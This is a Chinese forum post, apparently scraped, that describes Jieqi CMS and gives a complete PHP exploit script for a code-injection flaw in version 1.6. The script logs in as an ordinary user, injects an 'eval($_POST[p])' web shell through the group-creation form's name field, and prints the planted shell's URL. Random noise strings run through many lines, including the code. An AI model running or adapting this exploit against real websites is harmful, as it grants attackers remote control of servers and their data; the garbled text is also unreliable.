杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。* F8 e% l& G. v
+ U% @8 F* Q5 e0 R' B6 r2 Y 5 N7 y. F; W0 p& o4 k
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。! P- r4 L; D. d1 k+ }8 q, g, @
需要有一个能创建圈子的用户。
9 I, P. W$ P8 r
+ {3 x% | ]& o5 O) \8 H<?php5 y$ K7 ~, g0 ~: r- u5 u' `
# r. p$ z9 s$ a/ j* n
print_r('( d: |* k0 j& m/ x
+---------------------------------------------------------------------------+
: }5 [# ]) p) _Jieqi CMS V1.6 PHP Code Injection Exploit
' G* i: Y" ]* A, [4 oby flyh4t+ T. Y0 K0 }9 t! T" E9 b1 b
mail: phpsec at hotmail dot com
! X- @. i9 `. v9 U5 g. m& iteam: http://www.wolvez.org
, P' w( n& D: Q* K& q/ |+---------------------------------------------------------------------------+7 G8 i3 `2 }% }6 u3 w
'); /**$ p+ w8 ~7 E0 W$ _ P
* works regardless of php.ini settings( L# }5 e5 y: s# K; `" r; A1 |& `$ Q7 J
*/ if ($argc < 5) { print_r('
9 L" ` q% D, N3 s( m0 |9 L9 F; ?3 p4 a+---------------------------------------------------------------------------+3 I. z' L4 e1 X+ h
Usage: php '.$argv[0].' host path username
) P& P' N0 R- I% [; B. p( W/ o) |host: target server (ip/hostname)
: I. ~9 ]6 c% e# d( epath: path to jieqicms / d8 G% R( b+ c% R+ h0 ]2 g
uasename: a username who can create group
, [# S; g: M- g! M; u$ ^' w1 s# OExample:
. ?2 |4 [6 e( s8 f) K& ^) bphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password+ @% `' w; I j$ \! ? t8 I
+---------------------------------------------------------------------------+! {) m4 i# P8 ~ k; O
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961! e( {8 z5 D3 [ {1 ]7 F
Content-Disposition: form-data; name="gname"
- M9 z6 r4 h- u, J8 ? 5 t2 P1 y5 x5 @0 ~( |* G1 a
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t3 Y" B3 d1 _: m
-----------------------------23281168279961
: O2 r- e6 O0 }, @" \6 TContent-Disposition: form-data; name="gcatid"
% A* e( q# d, R. M8 c) w/ B ! w7 B" \- q: K
17 M9 m% q. _7 u- P8 c- \, ]
-----------------------------232811682799616 M1 Y- B, L4 o8 P9 @% W
Content-Disposition: form-data; name="gaudit"
6 M- c" i$ A# v # a' V1 i( V& r# |9 v
1% G8 N. C; l$ S: `" Z- o) U
-----------------------------232811682799612 w6 ~0 ~9 h0 Z1 u
Content-Disposition: form-data; name="gbrief". K9 G6 n& b& [
" e- e* o! W# A0 Y" O0 ]9 H% ?
1
S" E% y0 Z ?8 `& }- T# n9 S-----------------------------23281168279961--
7 m6 Q) _) A6 A% z3 E9 n6 X- n'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com! F6 O) B6 C: i) H7 x. {! K
! [8 `2 }/ J; J2 Opreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |